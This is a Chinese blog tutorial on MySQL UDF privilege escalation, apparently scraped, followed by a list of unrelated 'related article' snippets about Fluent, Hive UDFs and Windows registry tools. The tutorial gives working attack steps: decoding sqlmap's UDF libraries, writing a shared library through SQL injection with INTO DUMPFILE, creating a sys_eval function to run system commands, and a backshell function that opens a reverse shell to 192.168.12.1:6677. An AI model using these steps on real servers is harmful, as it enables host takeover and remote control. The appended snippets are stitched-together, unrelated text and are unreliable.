MySQL UDF 提权

article/2025/9/2 4:18:13

概述

UDF 全称 User Defind Function(用户自定义函数),用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 一样方便。

UDF 提权是通过这样的方法来实现获取对方主机的system的shell权限,从而达到提权的目的。

要实现 UDF 提权需要有一个动态链接库文件

  • 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数,该目录默认是不存在的,需要找到 MySQL 的安装目录。
  • 如果是 MySQL < 5.1 的版本,需要把 UDF 的动态链接库文件放置于 C:\Windows\System32。

复现

实验环境

MySQL 5.7.28
PHPstudy
MacOS

获取动态链接库

  1. SQLMap 的udf提权动态链接库
    在这里插入图片描述
    sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。
    可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:

    python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
    
  2. Metasploit 的udf提权动态链接库
    在这里插入图片描述

寻找插件目录

接下来需要把 UDF 的动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询插件目录:

show variables like '%plugin%';

在这里插入图片描述
如果不存在 plugin_dir 的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹。
查看安装目录的方法:

select @@basedir;

在这里插入图片描述

写入动态链接库

前提条件

SQL 注入且是高权限
secure_file_priv 无限制
plugin 目录可写
查询:show variables like ‘%secure%’
在这里插入图片描述

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
修改方法:在my.ini,查找secure_file_priv。
- 1 存在,修改为secure_file_priv=。
- 2 不存在,则在[mysqld]下,新增secure_file_priv=。

这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击。

将 动态链接库 读取为 HEX,

SELECT hex(load_file('/lib_mysqludf_sys_64.so'));

在这里插入图片描述
windows环境下使用.dll文件。
在这里插入图片描述

然后再写入到插件目录。

SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.dll';

在这里插入图片描述
在这里插入图片描述
成功写入到插件目录。

创建函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

在这里插入图片描述

执行命令

攻击者可以利用 udf.dll 提供的函数执行系统命令。
在这里插入图片描述
可以看到通过自定义函数已经获取到了最高系统权限。
通过 drop function sys_eval; 可以删除创建的函数。

Navicat通过隧道连接内网MySQL

在这里插入图片描述
将Navicat自带的ntunnel_mysql脚本上传到目标服务器上
在这里插入图片描述
然后使用 http 隧道即可建立连接。

反弹Shell

上传一个支持反弹shell的动态链接库 udf.dll

mysql> CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
mysql> select backshell("192.168.12.1",6677);

在这里插入图片描述


http://chatgpt.dhexx.cn/article/XIcyev0U.shtml

相关文章

udf提权

udf提权 什么是udf udf “user defined function”,即‘用户自定义函数’。是通过添加新函数&#xff0c;对MYSQL的功能进行扩充&#xff0c;性质就像使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中&#xff0c;存在于’mysql/lib/plugin’目录下&#xff…

URDF

Solidworks模型转化为URDF文件格式三连杆机械臂示例逆运动学 https://blog.csdn.net/gpeng832/article/details/73917487 关于SolidWorks导出URDF模型的总结 https://blog.csdn.net/mt_lixinzeng/article/details/80268572 Rviz: RobotModel --Status: Error :如果关节是活动…

Mysql之UDF提权

前言 mysql提权的几种方式 udf提权&#xff08;常用&#xff09;mof提权开机启动脚本&#xff08;启动项提权&#xff09; 提权目的&#xff1a;mysql权限 —> 操作系统权限 UDF提权 有时候我们通过一些方式获取了目标主机mysql的用户名和密码&#xff0c;并且可以远程连…

UDAF和UDF的介绍

目录 UDF介绍 UDAF简介 关于UDAF的一个误区 使用UDF 在SQL语句中使用UDF 直接对列应用UDF&#xff08;脱离sql&#xff09; UDAF使用 继承UserDefinedAggregateFunction 继承Aggregator UDF介绍 UDF&#xff08;User Define Function&#xff09;&#xff0c;即用户自…

FLUENT UDF并行化(1)

来源&#xff1a;ANSYS FLUENT UDF帮助文档&#xff0c;翻译自用&#xff0c;如有错误&#xff0c;欢迎指出&#xff01; 本章概述了并行ANSYS Fluent的用户定义函数&#xff08;UDF&#xff09;及其用法。有关并行UDF功能的详细信息&#xff0c;请参见以下部分&#xff0c;本…

FLUENT UDF并行化(2)

来源&#xff1a;ANSYS FLUENT UDF帮助文档&#xff0c;翻译自用&#xff0c;如有错误&#xff0c;欢迎指出&#xff01; 本章概述了并行ANSYS Fluent的用户定义函数&#xff08;UDF&#xff09;及其用法。有关并行UDF功能的详细信息&#xff0c;请参见以下部分&#xff0c;本…

udf开发入门(python udf、hive udf)

开发前的声明 udf开发是在数据分析的时候如果内置的函数解析不了的情况下去做的开发&#xff0c;比方说你只想拆分一个字段&#xff0c;拼接一个字段之类的&#xff0c;就不要去搞udf了&#xff0c;这种基本的需求自带函数完全支持&#xff0c;具体参数可参考文档&#xff1a; …

UDF的入门科普

新入门的小伙伴们好像对udf有一些疑问&#xff0c;那么今天就给大家整理一些udf的学习资料供大家参考。&#xff08;公众号&#xff1a;刘华强仿真笔记&#xff09; 01 UDF的基本概念 UDF的定义? UDF 是用户自己用C语言写的一个函数&#xff0c;可以和FLUENT动态链接 用UDF…

FLUENT中初识UDF——UDF的简单使用(1)

FLUENT中初识UDF——UDF的简单使用&#xff08;1&#xff09; 注意&#xff1a;不包含其他ANSYS基本操作流程&#xff01;&#xff01;&#xff01;1&#xff1a;UDF的编写&#xff1a;2&#xff1a;ANSYS中导入UDF函数&#xff1a;2.1&#xff1a;首先打开Fluent&#xff0c;导…

对window的注册表进行优化

Regclean pro是一款优秀的注册表扫描、清理工具&#xff0c;由微软金牌合作伙伴Systweak开发。 它具有强大的Windows注册表检测及修复功能&#xff0c;可以帮助用户轻松而有效的清理、修复Windows 系统注册表中缺省的、被破坏的或残缺的系统参数&#xff0c;轻松提升系统性能。…

Windows注册表基本管理配置

一.注册表优化 注册表的优化分为几点: 1.系统安装是产生的无用信息 &#xff08;1&#xff09; 删除多余的时区 路径&#xff1a;计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones 删除除了China Standard Time中国时区以外的其他时区…

Windows与网络基础-19注册表维护与优化

目录 一、注册表维护 1.1注册表被破坏后的常见现象 1.2注册表被破坏的原因 1.3备份注册表 1.4恢复注册表 1.5锁定和解锁注册表 二、注册表的优化 2.1删除多余的DLL文件 2.2安装卸载应用程序的垃圾信息 2.3系统安装时产生的无用信息 2.3.1删除多余时区&#xff08;必…

Win7注册表优化工具箱

软件名称&#xff1a;Win7注册表优化工具箱 软件版本&#xff1a;1.0.0.0 软件大小 1.04MB 适用环境&#xff1a; win7 软件性质&#xff1a; 国产软件 - 系统工具 - 优化设置 下载地址 http://pan.baidu.com/share/link?shareid104303&uk4160867570# 本文转自hai…

windows注册表

第一课 注册表基础 一、什么是注册表 注册表是windows操作系统、硬件设备以及客户应用程序得以正常运行和保存设置的核心“数据库”&#xff0c;也可以说是一个非常巨大的树状分层结构的数据库系统。 注册表记录了用户安装在计算机上的软件和每个程序的相互关联信息&#…

玩转电脑|盘点一下Windows 10 注册表系统优化【 InsCode Stable Diffusion 美图活动一期】

目录 什么是注册表 组成 Windows 注册表的层次结构 如何在 Windows 11/10 中创建注册表项 1、使用注册表编辑器 2、使用命令行 3、使用记事本创建REG文件 注意&#xff1a;在本文中主要就是使用记事本创建REG文件来修改。 注册表代码 修改状态栏透明度 任务栏时间显…

计算机系统的优化具体操作,注册表优化电脑内存的详细操作步骤

注册表优化电脑内存 当我们在使用电脑出现内存不足的情况下&#xff0c;通常会选择升级内存的方式来解决相关问题。而加了一个内存条之后&#xff0c;通常你会发现运行速度并没有等到比较显著的改善。只有在运行一些大程序的时候才能感觉到有所提升。这是因为系统会照顾到使用低…

win10清理注册表的方法

如果不需要某款软件之后&#xff0c;我们将其从电脑上卸载之后&#xff0c;如果不清理干净注册表信息的话可能日积月累会对电脑运行造成影响。那么win10如何清理注册表多余信息呢&#xff1f;今天小编就教下大家win10清理注册表的方法。 具体的方法如下&#xff1a; 1、在桌面…

Reg Organizer v8.75 注册表及系统清理优化工具

前言 Reg Organizer是一个非常好用的编辑、整理注册表文件软件&#xff0c;在导入reg文件前&#xff0c;会先分析结构&#xff0c;供您确认。它是一个功能丰富的应用程序&#xff0c;旨在编辑、清理和维护注册表&#xff0c;修复系统中的错误&#xff0c;并提高计算机性能。深…

暴力解决注册表删不掉的问题

今天在使用注册表编辑器修改注册表权限的时候&#xff0c;不小心把所有用户对某个注册表的权限全部拒绝了。等到我再想修改的时候&#xff0c;右键点击该文件&#xff0c;选择了“权限”后&#xff0c;弹出的编辑界面的“组或用户名”一栏中没有出现任何内容。倒腾了半天也实在…